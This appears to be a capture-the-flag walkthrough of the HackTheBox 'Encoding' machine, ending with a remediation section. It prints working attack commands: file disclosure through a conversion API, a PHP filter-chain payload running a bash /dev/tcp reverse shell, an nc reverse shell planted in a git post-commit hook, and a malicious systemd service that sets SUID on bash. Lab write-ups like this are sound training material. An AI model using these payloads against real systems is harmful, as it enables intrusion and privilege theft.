HackTheBox Encoding is a Linux machine rated Medium. This machine is flawed with software and data integrity failures(A08:2021), and injection(A03:2021).
Attack Chain: The attacker was able to gain an initial foothold due to directory traversal vulnerability, failed user input validation, and an improper implementation of php include function. Further exploiting an overly permissive right on a sensitive directory enabled the attacker gain root user privilege.
Initialization
1
2
# connect to vpnsudo openvpn --auth-nocache --config lab_connection.ovpn
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# discover ports and servicessudo nmap -p$(sudo nmap -sSU --min-rate 1000 10.10.11.198 | sed -nE 's/^([0-9]+)\/(tcp|udp).*$/\1/p'| paste -sd ",") -sSUVC --open -vvv 10.10.11.198 -oA nmap_encoding
xsltproc nmap_encoding.xml -o nmap_encoding.html # converts xml to htmlfirefox nmap_encoding.html # view in browser---snip---
22/tcp open OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open Apache/2.4.52 (GET HEAD POST OPTIONS)# discover technologies usedwhatweb 10.10.11.198 # if domain exits add to host file and rerun command---snip---
Apache[2.4.52]Bootstrap[3.4.1]HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)JQuery[3.6.0]
Exploration
Explored the site and discovered that /index.php takes a page parameter of values string, integer, image, and api. I am guessing it may be vulnerable to code injection, file inclusion or path traversal.
Visted the http://10.10.11.198/index.php?page=api which appeared to be a data conversion site. This page suggests a domain name for the api so we had to add that to the hosts file.
1
2
3
# add domain and subdomain to hosts fileecho'10.10.11.198 haxtables.htb'| sudo tee -a /etc/hosts
echo"10.10.11.198 haxtables.htb"| sudo sed -i 's/haxtables.htb/& api.haxtables.htb/' /etc/hosts
Exploitation
Studied the page and figured that a few sample Python scripts for calling the api could be a foothold vector. Collected these scripts and dubbed them as str2hex-data_file.py and str2hex-file_url.py. The former was disclosing information on the attacker’s machine while the latter when switched to the file scheme disclosed information on the victim’s machine.
str2hex-data_file.py
Create a wordlist of some interesting file paths in linux and modify str2hex-file_url.py to automate the dump of these files.
modified-str2hex-file_url.py
# get /etc/passwdpython3 modified-str2hex-file_url.py /etc/passwd | jq .data | xxd -r -p | grep sh$
---snip---
root:x:0:0:root:/root:/bin/bash
svc:x:1000:1000:svc:/home/svc:/bin/bash
# get /etc/apache2/sites-enabled/000-default.confpython3 modified-str2hex-file_url.py /etc/apache2/sites-enabled/000-default.conf | jq .data | xxd -r -p > 000-default.conf
# add the image subdomain to host fileecho"10.10.11.198 haxtables.htb"| sudo sed -i 's/haxtables.htb/& image.haxtables.htb/' /etc/hosts
# get /var/www/image/index.phppython3 modified-str2hex-file_url.py /var/www/image/index.php | jq .data | xxd -r -p > image/index.php
# get /var/www/image/utils.phppython3 modified-str2hex-file_url.py /var/www/image/utils.php | jq .data | xxd -r -p > image/utils.php
# get /var/www/image/scripts/git-commit.shpython3 modified-str2hex-file_url.py /var/www/image/scripts/git-commit.sh | jq .data | xxd -r -p > image/scripts/git-commit.sh
# view .git/configpython3 modified-str2hex-file_url.py /var/www/image/.git/config | jq .data | xxd -r -p
#--snip--#[core]repositoryformatversion=0filemode=truebare=falselogallrefupdates=true# view .git/logs/HEADpython3 modified-str2hex-file_url.py /var/www/image/.git/logs/HEAD | jq .data | xxd -r -p
#--snip--#0000000000000000000000000000000000000000 a85ddf4be9e06aa275d26dfaa58ef407ad2c8526 james <james@haxtables.htb> 1668104154 +0000 commit (initial): Initial commit
a85ddf4be9e06aa275d26dfaa58ef407ad2c8526 9c17e5362e5ce2f30023992daad5b74cc562750b james <james@haxtables.htb> 1668104210 +0000 commit: Updated scripts!
# view .git/indexpython3 modified-str2hex-file_url.py /var/www/image/.git/index | jq .data | xxd -r -p | strings
#--snip--# store in filesactions/action_handler.php
actions/image2pdf.php
assets/img/forestbridge.jpg
includes/coming_soon.html
index.php
scripts/git-commit.sh
utils.php
# create corresponding directories and download the filesmkdir -p {actions,assets/img,includes,scripts}# create all the sub directoriesfor file in $(cat files);do python3 modified-str2hex-file_url.py /var/www/image/$file| jq .data | xxd -r -p > ./image/$file;done 2>&1# download the files
This is a very tricky one. I started a python server after creating a php reverse shell named ‘index.php’ and sent a curl request thus curl http://haxtables.htb/index.php?page=http://10.10.14.112:8008/index.php%00 which unfortunately returned haxtable’s index.php page. Having earlier exfiltrated the ‘000-default.conf’ I switched to downloading all the existing subdomain’s index.php pages.
With some understanding of the code and some research figured out a curl format for using the api and correctly passing the data. Also tried several variations of getting a shell on the box but I was unable to.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# post request formats
curl-XPOST-F"data_file=@index.php"-F"action=file_url"http://api.haxtables.htb/v3/tools/string/index.phpcurl-XPOST-H"Content-Type: application/json"-d'{"action": "md5", "data": "hello world"}'http://api.haxtables.htb/v3/tools/string/index.php# with data_file
importrequestsdata={'action':'urldecode'}f={'data_file':__import__('webbrowser').open('http://10.10.11.198/index.php')}response=requests.post('http://api.haxtables.htb/v3/tools/string/index.php',data=data,files=f)print(response.text)
After a lot of trials had to lean on others’ shared solution to get past this blocker using synactiv’s php filter chain generator. Download the repository.
1
2
# download a gadget chain generatorgit clone https://github.com/synacktiv/php_filter_chain_generator.git
Create a Python script to exploit the action_handler.php include function. attk.py
# with a listener started on another terminal, generate the chain and execute the scriptpython3 ./php_filter_chain_generator/php_filter_chain_generator.py --chain '<?php system("bash -c \"bash -i >& /dev/tcp/10.10.14.112/9007 0>&1 \""); ?>'| grep -E '^php:\/\/filter\/.*php:\/\/temp$'| xargs -I {} python3 attk.py {}# upgrade to a full ttypython3 -c 'import pty; pty.spawn("/bin/bash")'stty raw -echo; fg; ls;exportSHELL=/bin/bash;exportTERM=xterm-256color; stty rows 38 columns 116; reset;# view the rights on specified directory or filegetfacl -t .git
#--snip--## file: .gitUSER svc rwx
user www-data rwx
GROUP svc r-x
mask rwx
other r-x
# create a git post commit hook with a reverse shell content having start a listener on 9008printf'#!/bin/bash \nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.112 9008 >/tmp/f' > .git/hooks/post-commit
chmod +x .git/hooks/post-commit
touch /tmp/file
/usr/bin/git --git-dir=/var/www/image/.git --work-tree=/tmp/ add /tmp/file
sudo -u svc /var/www/image/scripts/git-commit.sh
# with the svc user shell grab the ssh key and properly login into the box from attacker's machinecat ~/.ssh/id_rsa
nano svc_key
chmod 400 svc_key
ssh -i svc_key svc@10.10.11.198
sudo -l # check this user's right#--snip--#User svc may run the following commands on encoding:
(root) NOPASSWD: /usr/bin/systemctl restart *
# run the commandsudo /usr/bin/systemctl restart *
#--snip--#Failed to restart user.txt.service: Unit user.txt.service not found.
ls -ld /etc/systemd/system/ # has extended permission#--snip--#drwxrwxr-x+ 22 root root 4096 Apr 25 20:06 /etc/systemd/system/
getfacl -t /etc/systemd/system
#--snip--## file: etc/systemd/systemUSER root rwx
user svc -wx
GROUP root rwx
mask rwx
other r-x
# craft an escalation scriptprintf'#!/bin/bash \nchmod +s /bin/bash' > /tmp/attack
chmod +x /tmp/attack
# create a malicious service#--nano /etc/systemd/system/attack.service--#[Unit]Description=Privilege Escalation
[Service]ExecStart=/tmp/attack
Type=simple
Restart=always
[Install]WantedBy=multi-user.target
#--/etc/systemd/system/attack.service--## re execute the command to escalate your privilegesudo /usr/bin/systemctl restart attack
/bin/bash -p
cat /root/root.txt # capture root flag
Exfiltration
There have been lots of exfiltration already, I however will collect the source code of in one piece.
1
2
3
python3 -m http.server 8005# start a server on victim's machinewget -R "index.html*" -c -r -L -p -nc -nH -P source http://10.10.11.198:8005/ # download the source code on attacker's machinecodium source
Remediation
Fixing the Foothold Vector The inbuilt parse_url function in the code’s get_url_content function which appears in all utils.php of the html, api, and image folders bypassed a check supposedly meant to deter an attack from manipulating the server. However the notorious include in the action_handler.php of the image’s action folder facilitated the foothold on this box.Let’s validate our assumptions with a proof of concept. parse_url strips the scheme while gethostbyname does a nslookup on the given domain. However, passing the url to the parse_url function without the http scheme returns nothing which has nothing to compare against “127.0.0.1” and hence the false output value.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
php-a// first run
php>echo(parse_url("http://image.haxtables.htb",PHP_URL_HOST));// returns image.haxtables.htb
php>echo(gethostbyname("image.haxtables.htb"));// returns 127.0.0.1
php>$domain=parse_url("http://image.haxtables.htb",PHP_URL_HOST);echo(gethostbyname($domain)==="127.0.0.1")?"true":"false";// returns true
// second run
php>echo(parse_url("image.haxtables.htb",PHP_URL_HOST));// empty
php>echo(gethostbyname(""));// empty
php>$domain=parse_url("image.haxtables.htb",PHP_URL_HOST);echo(gethostbyname($domain)==="127.0.0.1")?"true":"false";// returns false
// curl
php>$ch=curl_init();php>curl_setopt($ch,CURLOPT_URL,"http://image.haxtables.htb");echo(curl_exec($ch));// returns contents of coming_soon.html in the image/includes folder
php>curl_setopt($ch,CURLOPT_URL,"image.haxtables.htb");echo(curl_exec($ch));// still returns contents of coming_soon.html in the image/includes folder
php>exit
The program on line 25 failed to use the already instantiated domain variable i.e. $domain and instead used the initially passed $url variable in the curl_setopt and since the curl_exec implicitly accepts a schemeless url argument, the operation successfully executes. The simplest fix would be to pass the value of $domain.
Fixing the Privilege Escalation Vector This one is quite obtainable though where an administrator could give a developer right to restart their service. However, they were also allowed to write to /etc/systemd/system/.